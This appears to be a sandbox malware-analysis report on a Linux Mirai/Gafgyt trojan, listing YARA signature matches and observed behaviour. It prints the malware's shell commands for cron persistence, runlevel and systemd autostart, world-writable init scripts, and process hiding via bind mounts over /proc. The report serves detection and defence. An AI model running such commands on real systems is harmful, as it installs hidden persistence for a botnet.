Source: 4734.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 4734.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 4734.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 4734.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 4734.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 4734.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 4700.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 4700.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 4700.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 4700.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 4700.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 4700.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 5060.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5060.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5060.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5060.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5060.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5060.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 4737.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 4737.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 4737.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 4737.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 4737.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 4737.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 4733.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 4733.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 4733.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 4733.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 4733.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 4733.1.0000000000400000.0000000000488000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.troj.evad.lin@0/11@2/0

Persistence and Installation Behavior

Executes the "crontab" command typically for achieving persistence

Source: /bin/sh (PID: 4740)	Crontab executable: /usr/bin/crontab -> crontab /var/tmp/.recoverys			Jump to behavior
Source: /bin/sh (PID: 5062)	Crontab executable: /usr/bin/crontab -> crontab /var/tmp/.recoverys			Jump to behavior

Sample tries to persist itself using System V runlevels

Source: /bin/ln (PID: 4754)	File: /etc/rcS.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 4782)	File: /etc/rc.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 4820)	File: /etc/rc0.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 4835)	File: /etc/rc1.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 4853)	File: /etc/rc2.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 4861)	File: /etc/rc3.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 4883)	File: /etc/rc4.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 4897)	File: /etc/rc5.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 4918)	File: /etc/rc6.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 4935)	File: /etc/rc.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 4950)	File: /etc/rc0.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 4965)	File: /etc/rc1.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 4978)	File: /etc/rc2.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 5000)	File: /etc/rc3.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 5017)	File: /etc/rc4.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 5084)	File: /etc/rc5.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 5165)	File: /etc/rc6.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 5065)	File: /etc/rcS.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 5065)	File: /etc/rcS.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 5103)	File: /etc/rc.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 5125)	File: /etc/rc0.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 5125)	File: /etc/rc0.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 5131)	File: /etc/rc1.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 5131)	File: /etc/rc1.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 5168)	File: /etc/rc2.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 5168)	File: /etc/rc2.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 5170)	File: /etc/rc3.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 5170)	File: /etc/rc3.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 5209)	File: /etc/rc4.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 5209)	File: /etc/rc4.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 5230)	File: /etc/rc5.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 5230)	File: /etc/rc5.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 5232)	File: /etc/rc6.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 5232)	File: /etc/rc6.d/S99dnsconfig -> /etc/init.d/dnsconfig	Jump to behavior
Source: /bin/ln (PID: 5234)	File: /etc/rc.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 5248)	File: /etc/rc0.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 5248)	File: /etc/rc0.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 5250)	File: /etc/rc1.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 5250)	File: /etc/rc1.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 5252)	File: /etc/rc2.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 5252)	File: /etc/rc2.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 5259)	File: /etc/rc3.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 5259)	File: /etc/rc3.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 5267)	File: /etc/rc4.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 5267)	File: /etc/rc4.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 5269)	File: /etc/rc5.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 5269)	File: /etc/rc5.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 5296)	File: /etc/rc6.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior
Source: /bin/ln (PID: 5296)	File: /etc/rc6.d/S99dnsconfigs -> /etc/rc.d/init.d/dnsconfigs	Jump to behavior

Sample tries to persist itself using cron

Source: /usr/bin/crontab (PID: 4740)	File: /var/spool/cron/crontabs/tmp.K7NAYP			Jump to behavior
Source: /usr/bin/crontab (PID: 5062)	File: /var/spool/cron/crontabs/tmp.rHYaCv			Jump to behavior

Sample tries to set files in /etc globally writable

Source: /tmp/mirai_nomi (PID: 4737)	File: /etc/init.d/dnsconfig (bits: - usr: rx grp: rx all: rwx)			Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5060)	File: /etc/init.d/dnsconfig (bits: - usr: rx grp: rx all: rwx)			Jump to behavior

Source: /tmp/mirai_nomi (PID: 4733)	File: /var/tmp/.recoverys	Jump to behavior
Source: /usr/bin/crontab (PID: 4740)	Directory: /var/tmp/.recoverys	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5058)	File: /var/tmp/.recoverys	Jump to behavior
Source: /usr/bin/crontab (PID: 5062)	Directory: /var/tmp/.recoverys	Jump to behavior

Source: /tmp/mirai_nomi (PID: 4708)	Shell command executed: sh -c "mount -o bind /tmp/nginx_server /proc/4700/ > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4739)	Shell command executed: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rcS.d/S99dnsconfig > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4768)	Shell command executed: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc.d/S99dnsconfig > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4812)	Shell command executed: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc0.d/S99dnsconfig > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4832)	Shell command executed: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc1.d/S99dnsconfig > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4844)	Shell command executed: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc2.d/S99dnsconfig > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4858)	Shell command executed: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc3.d/S99dnsconfig > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4876)	Shell command executed: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc4.d/S99dnsconfig > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4891)	Shell command executed: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc5.d/S99dnsconfig > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4914)	Shell command executed: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc6.d/S99dnsconfig > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4930)	Shell command executed: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc.d/S99dnsconfigs > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4948)	Shell command executed: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc0.d/S99dnsconfigs > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4960)	Shell command executed: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc1.d/S99dnsconfigs > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4972)	Shell command executed: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc2.d/S99dnsconfigs > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4996)	Shell command executed: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc3.d/S99dnsconfigs > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 5012)	Shell command executed: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc4.d/S99dnsconfigs > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 5056)	Shell command executed: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc5.d/S99dnsconfigs > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 5159)	Shell command executed: sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc6.d/S99dnsconfigs > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4738)	Shell command executed: sh -c "crontab /var/tmp/.recoverys"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4805)	Shell command executed: sh -c "systemctl daemon-reload > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4890)	Shell command executed: sh -c "systemctl enable dnsconfigs.service > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4981)	Shell command executed: sh -c "systemctl start dnsconfigs.service > /dev/null 2>&1"	Jump to behavior
Source: /tmp/mirai_nomi (PID: 4735)	Shell command executed: sh -c "mount -o bind /tmp/nginx_server /proc/4734/ > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5032)	Shell command executed: sh -c "mount -o bind /tmp/nginx_server /proc/5020/ > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5063)	Shell command executed: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rcS.d/S99dnsconfig > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5102)	Shell command executed: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc.d/S99dnsconfig > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5124)	Shell command executed: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc0.d/S99dnsconfig > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5130)	Shell command executed: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc1.d/S99dnsconfig > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5167)	Shell command executed: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc2.d/S99dnsconfig > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5169)	Shell command executed: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc3.d/S99dnsconfig > /dev/null 2>&1"	Jump to behavior
Source: /var/tmp/nginx_kel (PID: 5208)	Shell command executed: sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc4.d/S99dnsconfig > /dev/null 2>&1"	Jump to behavior
